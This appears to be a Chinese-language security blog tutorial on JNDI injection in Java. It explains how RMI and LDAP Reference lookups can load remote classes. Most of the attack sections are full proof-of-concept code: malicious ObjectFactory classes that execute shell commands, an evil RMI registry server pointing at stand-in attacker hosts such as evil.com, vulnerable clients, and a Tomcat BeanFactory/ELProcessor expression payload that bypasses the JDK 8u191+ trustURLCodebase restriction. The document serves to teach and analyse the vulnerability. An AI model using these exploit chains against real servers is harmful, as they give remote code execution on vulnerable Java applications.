JNDI注入
作者:互联网
基本概念
JNDI简介
JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。
JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。
简单点说,JNDI就是一组API接口。每一个对象都有一组唯一的键值绑定,将名字和对象绑定,可以通过名字检索指定的对象,而该对象可能存储在RMI、LDAP、CORBA等等。
如图:
Java Naming
命名服务是一种键值对的绑定,使应用程序可以通过键检索值。
Java Directory
目录服务是命名服务的自然扩展。这两者之间的区别在于目录服务中对象可以有属性,而命名服务中对象没有属性。因此,在目录服务中可以根据属性搜索对象。
JNDI允许你访问文件系统中的文件,定位远程RMI注册的对象,访问如LDAP这样的目录服务,定位网络上的EJB组件。
ObjectFactory-对象工厂类(具体代码实现的恶意类)
JNDI允许通过对象工厂 (javax.naming.spi.ObjectFactory)动态加载对象实现,对象工厂必须实现 javax.naming.spi.ObjectFactory接口并重写getObjectInstance方法。
恶意工程了类有2种方式触发我们的恶意代码:
-
通过构造方法进行触发的我们的恶意代码
-
通过重写getObjectInstance方法
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
// 工厂类通过重写getObjectInstance方法,触发恶意代码
public class ReferenceObjectFactory implements ObjectFactory {
/**
* @param obj 包含可在创建对象时使用的位置或引用信息的对象(可能为 null)。
* @param name 此对象相对于 ctx 的名称,如果没有指定名称,则该参数为 null。
* @param ctx 一个上下文,name 参数是相对于该上下文指定的,如果 name 相对于默认初始上下文,则该参数为 null。
* @param env 创建对象时使用的环境(可能为 null)。
* @return 对象工厂创建出的对象
* @throws Exception 对象创建异常
*/
public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {
// 在创建对象过程中插入恶意的攻击代码,或者直接创建一个本地命令执行的Process对象从而实现RCE
return Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}
}
//工程类构造函数触发恶意代码
public class ReferenceObjectFactory implements ObjectFactory {
public ReferenceObjectFactory() throws RemoteException {
//恶意代码
}
同样客户端请求引用Reference类,调用重写后的getObjectInstance方法,触发我们的可以代码
Reference
Reference类表示对存在于命名/目录系统以外的对象的引用。
Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。
在使用Reference时,我们可以直接将对象写在构造方法中,当被调用时,对象的方法就会被触发。
几个比较关键的属性:
- className:远程加载时所使用的类名;
- classFactory:加载的class中需要实例化类的名称;
- classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;
JNDI协议动态转换
JNDI实现的RMI服务中,可以在初始化配置JNDI设置时预先指定其上下文环境(RMI、LDAP、CORBA等),这里列出前面的两种写法:
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://localhost:1099");
// 创建JNDI目录服务上下文
Context ctx = new InitialContext(env);
或
LocateRegistry.createRegistry(6666);
System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL, "rmi://localhost:6666");
InitialContext ctx = new InitialContext();
但在调用lookup()或者search()时,可以使用带URI动态的转换上下文环境,例如上面已经设置了当前上下文会访问RMI服务,那么可以直接使用LDAP的URI格式去转换上下文环境访问LDAP服务上的绑定对象而非原本的RMI服务:
// 查找JNDI目录服务绑定的对象
ctx.lookup("ldap://attacker.com:12345/ou=foo,dc=foobar,dc=com");
其原理可以跟踪代码找到:
public Object lookup(String name) throws NamingException {
return getURLOrDefaultInitCtx(name).lookup(name);
}
再跟进去就知道了:
protected Context getURLOrDefaultInitCtx(Name paramName) throws NamingException {
if (NamingManager.hasInitialContextFactoryBuilder()) {
return getDefaultInitCtx();
}
if (paramName.size() > 0) {
String str1 = paramName.get(0);
String str2 = getURLScheme(str1); // 尝试解析 URI 中的协议
if (str2 != null) {
// 如果存在 Schema 协议,则尝试获取其对应的上下文环境
Context localContext = NamingManager.getURLContext(str2, this.myProps);
if (localContext != null) {
return localContext;
}
}
}
return getDefaultInitCtx();
}
JNDI注入攻击
RMI攻击
RMI+Reference利用技巧
JNDI提供了一个Reference类来表示某个对象的引用,这个类中包含被引用对象的类信息和地址。
因为在JNDI中,对象传递要么是序列化方式存储(对象的拷贝,对应按值传递),要么是按照引用(对象的引用,对应按引用传递)来存储,当序列化不好用的时候,我们可以使用Reference将对象存储在JNDI系统中。
那么这个JNDI利用技巧是啥呢?——就是将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件,当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行。
漏洞点1—lookup参数注入
以lookup()函数参数外部可控为例,攻击原理如图:
- 攻击者通过可控的 URI 参数触发动态环境转换,例如这里 URI 为
rmi://evil.com:1099/refObj
; - 原先配置好的上下文环境
rmi://localhost:1099
会因为动态环境转换而被指向rmi://evil.com:1099/
; - 应用去
rmi://evil.com:1099
请求绑定对象refObj
,攻击者事先准备好的 RMI 服务会返回与名称refObj
想绑定的 ReferenceWrapper 对象(Reference("EvilObject", "EvilObject", "http://evil-cb.com/")
); - 应用获取到
ReferenceWrapper
对象开始从本地CLASSPATH
中搜索EvilObject
类,如果不存在则会从http://evil-cb.com/
上去尝试获取EvilObject.class
,即动态的去获取http://evil-cb.com/EvilObject.class
; - 攻击者事先准备好的服务返回编译好的包含恶意代码的
EvilObject.class
; - 应用开始调用
EvilObject
类的构造函数,因攻击者事先定义在构造函数,被包含在里面的恶意代码被执行;
rmi服务端开启,绑定恶意对象类EvilClassFactory
至rmi服务器上rmi://127.0.0.1:1099/exp
,对象实例要能成功绑定在RMI服务上,必须直接或间接的实现 Remote 接口,这里 ReferenceWrapper就继承于 UnicastRemoteObject 类并实现了Remote接口:
public class JNDIService {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference refObj = new Reference("EvilClass", "EvilClassFactory", "http://127.0.0.1:8000/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
System.out.println("[*]Binding 'exp' to 'rmi://127.0.0.1:1099/exp'");
registry.bind("exp", refObjWrapper);
}
}
恶意类EvilClassFactory
,放在http://127.0.0.1:8000/
目录下
public class EvilClassFactory extends UnicastRemoteObject implements ObjectFactory {
public EvilClassFactory() throws RemoteException {
super();
InputStream inputStream;
try {
inputStream = Runtime.getRuntime().exec("ifconfig").getInputStream();
BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream);
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(bufferedInputStream));
String linestr;
while ((linestr = bufferedReader.readLine()) != null){
System.out.println(linestr);
}
} catch (Exception e){
e.printStackTrace();
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
JNDI客户端 lookup可控制,去请求我们恶意的类
public class JNDIClient {
public static void main(String[] args) throws Exception {
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");
Context ctx = new InitialContext(env);
String uri = "rmi://127.0.0.1:1099/exp";
if(args.length == 0) {
// uri = args[0];
System.out.println("[*]Using lookup() to fetch object with " + uri);
ctx.lookup(uri);
} else {
System.out.println("[*]Using lookup() to fetch object with rmi://127.0.0.1:1099/demo");
ctx.lookup("demo");
}
}
}
首先我们启动JNDI服务端
接着我们开启服务8000端口,将恶意类EvilClassFactory
放在该目录下
接着启动客户端,由于客户端lookup()可控,我们成功请求到恶意类,并在客户端执行命令ifconfig
漏洞点2—classFactoryLocation参数注入回顾下Reference类
Reference类表示对存在于命名/目录系统以外的对象的引用。
Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。
在使用Reference时,我们可以直接将对象写在构造方法中,当被调用时,对象的方法就会被触发。
几个比较关键的属性:
- className:远程加载时所使用的类名;
- classFactory:加载的class中需要实例化类的名称;
- classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;
前面lookup()参数注入是基于RMI客户端的,也是最常见的。而这里classFactoryLocation
参数注入则是对于RMI服务端而言的,也就是说服务端程序在调用Reference()初始化参数时,其中的classFactoryLocation参数外部可控,导致存在JNDI注入。
整个利用原理过程如图:
RMI服务端,创建RMI注册表并将一个远程类的引用绑定在注册表中名为demo,其中该Reference的classFactoryLocation参数外部可控:
public class BServer {
public static void main(String args[]) throws Exception {
String uri = "http://127.0.0.1:8000";
// if(args.length == 1) {
// uri = args[0];
// } else {
// uri = "http://127.0.0.1/demo.class";
// }
System.out.println("[*]classFactoryLocation: " + uri);
Registry registry = LocateRegistry.createRegistry(1099);
Reference refObj = new Reference("EvilClass", "EvilClassFactory", uri);
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
System.out.println("[*]Binding 'demo' to 'rmi://127.0.0.1:1099/demo'");
registry.bind("demo", refObjWrapper);
}
}
EvilClassFactory.java,攻击者编写的远程恶意类,这里是在RMI客户端执行ifconfig命令并输出出来,该类放在http://127.0.0.1:8000web目录下
public class EvilClassFactory extends UnicastRemoteObject implements ObjectFactory {
public EvilClassFactory() throws RemoteException {
super();
InputStream inputStream;
try {
inputStream = Runtime.getRuntime().exec("ifconfig").getInputStream();
BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream);
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(bufferedInputStream));
String linestr;
while ((linestr = bufferedReader.readLine()) != null){
System.out.println(linestr);
}
} catch (Exception e){
e.printStackTrace();
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
RMI客户端,通过JNDI来查询RMI注册表上绑定的demo对象,其中lookup()函数参数不可控:
public class BClient {
public static void main(String[] args) throws Exception {
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");
Context ctx = new InitialContext(env);
System.out.println("[*]Using lookup() to fetch object with rmi://127.0.0.1:1099/demo");
ctx.lookup("demo");
}
}
攻击者将恶意类EvilClassFactory.class放置在自己的Web服务器后,通过往RMI注册表服务端的classFactoryLocation参数输入攻击者的Web服务器地址后,当受害者的RMI客户端通过JNDI来查询RMI注册表中绑定的demo对象时,会找到classFactoryLocation参数被修改的Reference对象,再远程加载攻击者服务器上的恶意类EvilClassFactory.class,从而导致JNDI注入、实现远程代码执行:
运行RMI服务端,将恶意类EvilClassFactory
对象绑定名称为demo
搭建web服务器,将我们到恶意类编译后放在这个web服务器下面
启动客户端,成功JNDI注入执行命令
绕过高版本JDK(8u191+)限制
在JDK 6u211、7u201、8u191、11.0.1之后,增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了
KINGX提到了如下两种绕过方式:
- 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
- 利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。
这两种方式都非常依赖受害者本地CLASSPATH中环境,需要利用受害者本地的Gadget进行攻击
利用本地Class作为Reference Factory
恶意服务端
package Jndi.test4;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class EvilRMIServer {
public static void main(String[] args) throws Exception {
System.out.println("[*]Evil RMI Server is Listening on port: 6666");
Registry registry = LocateRegistry.createRegistry( 6666);
// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
// 强制将'x'属性的setter从'setX'变为'eval', 详细逻辑见BeanFactory.getObjectInstance代码
ref.add(new StringRefAddr("forceString", "x=eval"));
// 利用表达式执行命令
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/bash', '-c', 'open /System/Applications/Calculator.app']).start()\")"));
System.out.println("[*]Evil command: open /System/Applications/Calculator.app");
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}
客户端
package Jndi.test4;
import javax.naming.Context;
import javax.naming.InitialContext;
public class Client {
public static void main(String[] args) throws Exception {
String uri = "rmi://localhost:6666/Object";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}
原理:找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
高版本JDK 默认trustURLCodebase
值为false,如果使用上述步骤,这里会经过if判断,会抛出异常,无法触发我们的JNDI注入漏洞
想要绕过trustURLCodebase
判断,如下所示,trustURLCodebase配置项肯定没办法,但是getFactoryClassLocation()
,当reference不设置远程加载恶意的Factory的时候,这个返回的就是null,也就是我们的factoryLocation
不设置远程工程时,那么这条语句就不成立!
public Reference(String className, String factory, String factoryLocation) {
this(className);
classFactory = factory;
classFactoryLocation = factoryLocation;
}
上述是通过反射获取codebase工程类,显然我们为了绕过trustURLCodebase判断,我们无法设置codebase值,但是该类中还存在其他方法
我们没有设置codebase值,我们会调用本地设置的factory,所以如果本地存在可以进行利用的gadgets那么还是可以进行JNDI注入,从而绕过trustURLCodebase
这个工厂类必须在受害目标本地的CLASSPATH中。工厂类必须实现 javax.naming.spi.ObjectFactory
接口,并且至少存在一个getObjectInstance()
方法。
org.apache.naming.factory.BeanFactory
刚好满足条件并且存在被利用的可能。org.apache.naming.factory.BeanFactory
存在于Tomcat依赖包中,所以使用也是非常广泛。
org.apache.naming.factory.BeanFactory
在 getObjectInstance() 中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。
而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。
调试过程如下:
Client如下,加载本地类org.apache.naming.factory.BeanFactory
利用getObjectFactoryFromREference
方法,获取本地类BeanFactory
的一个实例对象
返回了一个BeanFactory对象
接着就是调用该BeanFactory对象的getObjectInstance方法,直接调用ObjectFactory接口实现类实例的getObjectInstance()函数,这里是BeanFactory类实例的getObjectInstance()函数:
factory.getObjectInstance(ref, name, nameCtx,environment);
跟进看到org.apache.naming.factory.BeanFactory类的getObjectInstance()函数中,会判断obj参数是否是ResourceRef类实例,是的话代码才会往下走,这就是为什么我们在恶意RMI服务端中构造Reference类实例的时候必须要用Reference类的子类ResourceRef类来创建实例:
接着就是实例化javax.el.ELProcessor,
自己在server端自定义一个forceString,x=eval的键值对存在ResourceRef,使用re f.get取出
// EvilRMIServer
ref.add(new StringRefAddr("forceString", "x=eval"));
接着获取Bean类为javax.el.ELProcessor
后,实例化该类并获取其中的forceString类型的内容,其值是我们构造的x=eval
内容:
通过ra.getContent(),取出value值: x=eval
继续往下调试可以看到,查找forceString的内容中是否存在”=”号,不存在的话就调用属性的默认setter方法,存在的话就取键值、其中键是属性名而对应的值是其指定的setter方法。如此,之前设置的forceString的值就可以强制将x属性的setter方法转换为调用我们指定的eval()方法了,这是BeanFactory类能进行利用的关键点!之后,就是获取beanClass即javax.el.ELProcessor类的eval()方法并和x属性一同缓存到forced这个HashMap中:
接着是多个do while语句来遍历获取ResourceRef类实例addr属性的元素,当获取到addrType为x的元素时退出当前所有循环,然后调用getContent()函数来获取x属性对应的contents即恶意表达式。这里就是恶意RMI服务端中ResourceRef类实例添加的第二个元素:
获取到类型为x对应的内容为恶意表达式后,从前面的缓存forced中取出key为x的值即javax.el.ELProcessor类的eval()方法并赋值给method变量,最后就是通过method.invoke()即反射调用的来执行new ELProcessor().eval("".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd', '/C', 'calc.exe']).start()"))
:
小结一下几个关键点:
- 这种方法是从本地ClassPath中寻找可能存在Tomcat相关依赖包来进行触发利用,已知的类是
org.apache.naming.factory.BeanFactory
; - 由于
org.apache.naming.factory.BeanFactory
类的getObjectInstance()方法会判断是否为ResourceRef类实例,因此在RMI服务端绑定的Reference类实例中必须为Reference类的子类ResourceRef类实例,这里resourceClass选择的也是在Tomcat环境中存在的javax.el.ELProcessor
类; - ResourceRef类实例分别添加了两次StringRefAddr类实例元素,第一次是类型为
forceString
、内容为x=eval
的StringRefAddr类实例,这里看org.apache.naming.factory.BeanFactory
类的getObjectInstance()方法源码发现,程序会判断是否存在=
号,若存在则将x
属性的默认setter方法设置为我们eval
;第二次是类型为x
、内容为恶意表达式的StringRefAddr类实例,这里是跟前面的x
属性关联起来,x
属性的setter方法是eval(),而现在它的内容为恶意表达式,这样就能串起来调用javax.el.ELProcessor
类的eval()函数执行恶意表达式从而达到攻击利用的目的;
LDAP攻击
除了RMI服务之外,JNDI还可以对接LDAP服务,且LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址如ldap://xxx/xxx
,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。
后续再分析LDAP
原代码分析
JNDI目录对象的创建过程-InitialDirContext
访问JNDI目录服务时会通过预先设置好环境变量访问对应的服务,我们这里以DNS服务来举例,如下代码所示
public class Test {
public static void main(String[] args) throws NamingException {
// 创建环境变量对象
Hashtable<String, String> env = new Hashtable<String, String>();
// 设置JNDI初始化工厂类名
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
// 设置JNDI提供服务的URL地址
env.put(Context.PROVIDER_URL, "dns://114.114.114.114");
// 创建JNDI目录服务对象
DirContext context = new InitialDirContext(env);
}
}
这里其实直接看InitialDirContext这个类是如何生成的即可,因为前面都是存在变动的,我们这里拿到了DNS的目录服务,但是JNDI还可以RMI LDAP等等的目录服务,所以我们要看InitialDirContext是如何根据存储env的数据来进行初始化目录服务对象的,在创建JNDI目录服务对象处打断点
这里一直跟进去首先会发现一个init的函数
在init()方法中,通过ResourceManage.getInitialEnvironment(environment)
将我们传入的参数env值赋值给myProps
变量
调用myProps.get()
方法取我们存入的INITIAL_CONTEXT_FACTORY属性来进行判断,如果该属性存在则getDefaultInitCtx进行默认的初始化context
跟进getDefaultInitCtx
方法,又会接着将之前存入env的相关信息通过NamingManager.getInitialContext(myProps);
传入
这里继续看NamingManager.getInitialContext,这个方法内完成对对应的工厂类的实例化
将设置的初始化工程类com.sun.jndi.dns.DnsContextFactory
类赋值给className变量
通过反射对工程类进行实例化
接着用对应的工厂类通过env相关信息来实例化对应的Context类
到这里完成了getInitialContext方法,最后返回上下文Context对象
这里的context值为上一步返回的defaultInitCtx上下文的值
JNDI注入之RMI分析
ReferenceObjectFactory
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class ReferenceObjectFactory implements ObjectFactory {
/**
* @param obj 包含可在创建对象时使用的位置或引用信息的对象(可能为 null)。
* @param name 此对象相对于 ctx 的名称,如果没有指定名称,则该参数为 null。
* @param ctx 一个上下文,name 参数是相对于该上下文指定的,如果 name 相对于默认初始上下文,则该参数为 null。
* @param env 创建对象时使用的环境(可能为 null)。
* @return 对象工厂创建出的对象
* @throws Exception 对象创建异常
*/
public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {
// 在创建对象过程中插入恶意的攻击代码,或者直接创建一个本地命令执行的Process对象从而实现RCE
return Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}
}
RMIServer
package Jndi.test3;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class RMIReferenceServerTest {
public static void main(String[] args) {
try {
// 定义一个远程的jar,jar中包含一个恶意攻击的对象的工厂类
String uri = "http://127.0.0.1:8000";
// 监听RMI服务端口
LocateRegistry.createRegistry(1099);
// 创建一个远程的JNDI对象工厂类的引用对象
Reference reference = new Reference("EvilClass", "ReferenceObjectFactory", uri);
// 转换为RMI引用对象,
// 因为Reference没有实现Remote接口也没有继承UnicastRemoteObject类,故不能作为远程对象bind到注册中心,
// 所以需要使用ReferenceWrapper对Reference的实例进行一个封装。
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
// 绑定一个恶意的Remote对象到RMI服务
Naming.bind("rmi://127.0.0.1:1099/rmiserver", referenceWrapper);
System.out.println("RMI服务启动成功,服务地址:" + "rmi://127.0.0.1:1099/rmiserver");
} catch (Exception e) {
e.printStackTrace();
}
}
}
RMIClient,这里需要说下我这边环境需要开启trustURLCodebase为true,因为我jdk8是181的,不在rmi+jndi注入的范围内,如果是ldap+jndi的话我181则可以不用开启trustURLCodebase
package Jndi.test3;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class RMIReferenceClientTest{
public static void main(String[] args) {
try {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
InitialContext context = new InitialContext();
// 获取RMI绑定的恶意ReferenceWrapper对象
Object obj = context.lookup("rmi://127.0.0.1:1099/rmiserver");
System.out.println(obj);
} catch ( NamingException e) {
e.printStackTrace();
}
}
}
打断点
getURLOrDefaultInitCtx方法
getURLOrDefaultInitCtx方法中最终根据协议头来返回一个对应的Context对象,那么这里是rmi,所以返回一个rmi的Context
接着继续来到getURLOrDefaultInitCtx.lookup
方法,先调用的是getRootURLContext方法,该方法是对你的rmi地址进行格式解析,然后返回一个以根据解析出来的rmi地址、rmi端口等信息的一个注册中心的上下文
接着通过这个注册中心的上下文进行lookup,寻找刚才解析处理地址,也就是server绑定在注册中心上的对象,这里的get(0)
传入的是服务端绑定到的对象的名称
接着又是真正开始调用registry_stub的lookup方法,构造远程调用对象remoteCall来进行序列化,接着就是传输来请求获取绑定在服务端注册中心上的对象,这里绑定的是referenceWrapper,所以最终获得的就是该对象referenceWrapper_stub
获得了stub对象后,又开始进行decodeObject方法
这个decodeObject就是会进行判断是否是reference类,然后调用NamingManager.getObjectInstance方法
就这就来到了javax.naming.spi.NamingManager
的类中的getObjectInstance,这里主要的两个方法分别是getObjectFactoryFromReference,getObjectInstance
先进到getObjectFactoryFromReference方法中,主要的作用则对指定的codebase中进行加载class,最后进行实例化返回
这个出来了之后就开始调用getObjectInstance,这个方法我们上面来继承ObjectFactory来进行重写,所以这里拿到的对象会调用我们重写的getObjectInstance
标签:rmi,Reference,对象,JNDI,RMI,public,注入 来源: https://www.cnblogs.com/lalalaxiaoyuren/p/16157428.html